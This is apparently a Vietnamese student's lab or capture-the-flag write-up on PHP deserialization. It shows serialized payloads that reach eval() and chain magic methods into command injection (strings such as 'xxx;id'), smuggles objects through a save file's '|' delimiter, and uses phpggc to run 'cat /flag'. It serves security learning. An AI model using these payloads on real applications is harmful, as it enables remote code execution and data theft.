# php Deserialization👨🚒
**kiểm soát thuộc tính**🫢
**chúng ta có thể**
1. thay đổi thuộc tính
2. thay đổi class
3. lợi dụng magic method để rce - map 4,5
## Game
### map2
- Chức năng save sẽ cho ta down 1 file về

- thay đổi thông số trước khi load lên


--> đánh đc ròi
### map3
- đổi sát thương về 1 --> auto win

- trong data còn 1 đốit tượng nữa

- đổi tên đối tượng **chú ý độ dài**

### map4
**ý tưởng:** nhờ vào magic method để tìm được secret
- ta thấy trong đoạn code này có chứa hàm `eval` . 1 hàm có khả năng thực thi được các lệnh trong php
```php=
class Calculator {
public $expression;
public function __construct($expr) {
$this->expression = $expr;
}
public function run() {
$result = eval($this->expression);
return $result;
}
}
```
- vậy làm sao để đưa được code php vào đó ???
cũng như bài trên . Chúng ta thay đổi đối tượng trong file sav
- tuy nhiên kết cấu của class này khác so với kết cấu của trainer . Điều này đồng nghĩa với việc ta phải thay đổi rất nhiều trong file sav (thay vì chỉ tên như map2)
--> Vậy việc viết lại là khá khó khăn
- điều này dẫn đến việc ta phải nhờ php in hộ ra như dòng code dưới đây
```php=
<?php
# step1 định nghĩa lại class
class Calculate {
public $expression;
public function _contruct($expr){
$this->expression = $expr;
}
public function run(){
$result = eval($this->expression);
return $result;
}
}
#step2 tạo ra một đối tượng có thuộc tính là code php
$calc = new Calculate("phpinfo();");
# step3 nhờ php tạo ra PAYLOAD tấn công
echo serialize($calc);
?>
```
**lưu ý** : để đoạn này vào thư mục src

--> vậy đã tạo ra 1 class có method là expression và nó có giá trị là php...
--> sau khi có payload rồi ta upload lên và thực thi php 🤑

### map5

hừm :>
**đặc tính php** : luôn gọi hàm `destruct()` khi kết thúc chương trình
dựa vào điều đó ta sẽ tìm đến hàm destruc xem có khai thác được gì không
```php=
public function __destruct() {
$this->conn->close();
}
```
đi tiếp đến close để xem
```php=
public function close() {
system("rm " . $this->filepath);
}
```
**ý tưởng** : command injection
--> cũng nhờ vào tính năng save game để thay đổi thuộc tính
- $this->filepath cũng có thể coi là 1 untrusted data
- làm sao để nối dài chuỗi dẫn đến command injection

```php=
<?php
class Database{
public $conn;
public function __construct($conn){
$this->conn = $conn;
}
}
class Logger {
public $filePath;
public function __construct(){
$this->filePath = "xxx;id"; // RCE
}
}
$conn = new Logger(); # tạo ra object
$db = new Database($conn);
echo serialize($db);
?>
```



- khi destructed thì php cũng sẽ xóa đi database ; vì ta đặt class là database nên chắc chắn php sẽ chạy vào
- php sẽ xóa database thật sau đó xóa database của ta

vậy `$this->conn` chính là `Logger` là 1 class
-> sẽ trỏ đến method close()
-> đi vào method `close` như ta đã chỉnh thì sẽ gắn giá trị của `$filepath` là `xxx;id` --> COMMAND INJECTION 🌭

## Workshop level 1
**ý tưởng**: lợi dụng hành vi của php kết hợp với chức năng unserialize (kiểm soát được đối tượng) để rce
**đọc code**
```hp=
public function __toString()
{
return "<td>{$this->name}</td><td>{$this->age}</td><td>{$this->get_point()}</td>";
}
```
ta thấy hàm string trên của class student **nghĩa là** nó đối xứ với class như 1 string
```php=
echo <<<EOF
<tr>
<th scope="row">{$idx}</th>{$student}
</tr>
EOF;
```
mỗi student gắn với 1 index (0 -> ....)
class router có hàm system
```php=
<?php
class Router
{
public $host;
public function __construct($host)
{
$this->host = $host;
}
public function __toString()
{
return system("ping " . $this->host);
}
}
```
vậy nhờ vào chức năng của serialize để có thể gọi đến class Router -> từ đó kiểm soát được thuộc tính host và nối dài chuỗi trong hàm system -> RCE
**kiểm soát thuộc tính**🤯
sau đây là payload để RCE
```php=
<?php
class Router
{
public $host;
public function __construct($host) // kiểm soát host
{
$this->host = $host;
}
public function __toString()
{
return system("ping " . $this->host); // nối dài được òi
}
}
$conn = new Router(" xxx;id;");
echo serialize($conn);
?>
```
dùng xampp để chạy localhost

**khi thay đổi file sav phải chú ý đúng cú pháp của chương trình**
***ở đây cần để í idex***
```sav=
0|O:6:"Router":1:{s:4:"host";s:8:" xxx;id;";}|
```
upload lại và rce

## work shop 2
```php=
foreach (glob("libs/*.php") as $filename) {
// Không include file router.php
if ($filename !== "libs/router.php")
include($filename);
}
```
-->loại bỏ không cho upload class router

- tìm thêm

🤜 Router không thể chọn vậy chỉ có student
**trong hàm student ta có**
```php=
public function __toString()
{
return "<td>{$this->name}</td><td>{$this->age}</td><td>{$this->get_point()}</td>";
}
```
-> nó gọi đến cả thuộc tính và method
**trong phần này ta sẽ lợi dụng method get_point()**
- giờ phải đi tìm tiếp

- không tìm thấy hướng mới chuyển sang phương thức khác trong Student
```php!
public function get_point()
{
if (isset($this->exam))
return $this->exam->get_result();
return "N/A";
}
```
-> tìm hàm `get_result()`
-> thấy trong file ulis
```php=
class Calculator
{
public $expression;
public function __construct($expr)
{
$this->expression = $expr;
}
public function get_result()
{
$result = eval($this->expression);
return $result;
}
}
```
-> có `eval()` . Vậy tìm cách lợi dụng nó để exec php
**payload**👇
```php=
<?php
class Student
{
public $name;
public $age;
public $exam;
public function __construct($name, $age, $exam)
{
$this->name = $name;
$this->age = $age;
$this->exam= $exam;
}
public function __toString()
{
return "<td>{$this->name}</td><td>{$this->age}</td><td>{$this->get_point()}</td>";
}
public function join($exam)
{
$this->exam = $exam;
}
public function test()
{
$this->exam->test();
}
public function get_point()
{
if (isset($this->exam))
return $this->exam->get_result();
return "N/A";
}
}
class Calculator
{
public $expression;
public function __construct($expr)
{
$this->expression = $expr;
}
public function get_result()
{
// Sử dụng eval() có thể nguy hiểm, hãy chắc chắn rằng biểu thức là an toàn
$result = eval("return " . $this->expression . ";");
return $result;
}
}
// Ví dụ sử dụng
$con = new Calculator("phpinfo();");
$payload = new Student("Tung", 12, $con);
// $payload->join($con);
echo serialize($payload);
?>
```
**result**
```php!
0|O:7:"Student":3:{s:4:"name";s:4:"Tung";s:3:"age";i:12;s:4:"exam";O:10:"Calculator":1:{s:10:"expression";s:10:"phpinfo();";}}
```
**lưu ý**: phần cấu tạo của file .sav
**giải thích**: mấu chốt là chuyền php vào hàm`eval()` thông qua biến `$expression`
```php=
// như trên
$code = 'echo file_get_contents("/flag");';
// Ví dụ sử dụng
$con = new Calculator($code);
$payload = new Student("Tung", 12, $con);
// $payload->join($con);
echo serialize($payload);
```
```ter!
0|O:7:"Student":3:{s:4:"name";s:4:"Tung";s:3:"age";i:12;s:4:"exam";O:10:"Calculator":1:{s:10:"expression";s:32:"echo file_get_contents("/flag");";}}
```
**FLAG**🌞

## Workshop 3
Ở level này không cho người dùng giữ file sav nữa .
**vậy phải lừa server ở chế độ upload lên**
```php=
case 'load':
$data = file_get_contents("/usr/save_files/" . session_id());
$students_data = explode("|", $data);
$students = array();
for ($idx = 0; $idx < count($students_data); $idx = $idx + 2) {
$key = $students_data[$idx];
$value = $students_data[$idx + 1];
// Xử lý khi unserialize bị lỗi
// Reference: https://stackoverflow.com/questions/12684871/how-to-catch-unserialize-exception
$value = unserialize($value);
$students[$key] = $value; // biến student gắn bắng value
$_SESSION["students"] = $students;
}
```
ta thấy ở chế độ load lên server dùng `explode()` để cắt ra từng giá trị của `$value` sau đó `unserialize($value)`
**ý tưởng :** làm thế nào để kiểm soát được `$value`. Nếu kiểm soát được $value thì sẽ tạo được object có thuộc tính là payload tấn công của ta
```php=
case 'save':
// Lặp qua từng student và lưu xuống theo dạng KEY1|VALUE1|KEY2|VALUE2 ...
$message = "";
foreach ($_SESSION["students"] as $key => $student)
$message = $message . $key . "|" . serialize($student) . "|";
// Tải về thành file students.sav
// Reference: https://stackoverflow.com/questions/13279801/how-can-i-download-a-string-to-the-browser-using-php-not-a-text-file
file_put_contents("/usr/save_files/" . session_id(), $message);
echo "Saved";
echo '<meta http-equiv="refresh" content="1;url='. $_SERVER['PHP_SELF']. '">';
die();
break;
```
ta thấy ở chế độ save các student được lưu dưới dạng KEY|VALUE|KEY|VALUE
mà khồng hề có lớp fillter nào đối với kí tự `|` -> vậy lợi dùng nó để tạo ra VALUE

-> vậy ta đã có
key = xxx
value = 1 chuỗi đã serialize và có chưa payload
-> khi thực hiện load lên server sẽ serialize đoạn chuỗi ta vừa gừi và PWN --> đã tạo ra 1 object có chưa payload

## Workshop 4
Trong bài này ta không include các thư mục nên các class đã vô hiệu hóa
**thay vào đó ta phải lợi dụng các hàm trong thư viện vendor**
-> có công cụ để tấn công serialize cho nhờ vào việc lợi dụng các thư viện [ở đây](https://github.com/ambionics/phpggc)
tải về nhờ dùng terminal của docker và vào phpggc để tìm
```terminal=
root@f5385822372f:/var/www/html/phpggc# ./phpggc -l
```
ta xem trong phần docker để tìm thư viện có thể lợi dụng


```terminal=
root@f5385822372f:/var/www/html/phpggc# ./phpggc Guzzle/RCE1 system 'cat /flag' > aa.sav
```

***tool này sẽ giúp ta tạo ra payload tấn công***
**lưu ý :** không nên sao chép payload sẽ bị rơi kí tự null của php mà hãy ghi trực tiếp vào file `.sav` . Sau đó sửa theo **đúng cấu trúc** của chương trình

**các thuộc tính riêng của đối tượng sẽ nằm trong NULL**
